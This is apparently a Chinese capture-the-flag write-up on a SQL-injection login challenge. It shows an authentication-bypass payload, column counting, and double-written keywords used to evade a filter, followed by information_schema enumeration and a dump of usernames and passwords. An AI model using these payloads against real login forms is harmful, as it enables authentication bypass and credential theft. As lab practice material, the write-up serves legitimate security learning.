首先我们尝试一下万能密码,看看能够得到什么
admin' or 1=1 #
试一试注释掉密码之后的内容,登录成功
查一下有多少列
admin' order by 3#
从结果发现order变成了der 可以判断对于‘or’进行了过滤
我们使用双写绕过,令or变为oorr,即中间被过滤后,前后拼接为想要的
admin' oorrder bbyy 3 #
登录成功,一共有三列,看一下回显位
aadmin' uniunionon selselectect 1,2,3 #
查库
查表
aadmin' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() #
查字段
adadas' uniunionon selselectect 11,22,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #
查字段信息
1' uniunionon selselectect 11,22,group_concat(username,passwoorrd) frfromom geek.b4bsql #
ookk
总结
这次是依然是比较简单的一道题,最为重要的是发现有过滤,且知道双写绕过,这样的话这道题就不足为虑了!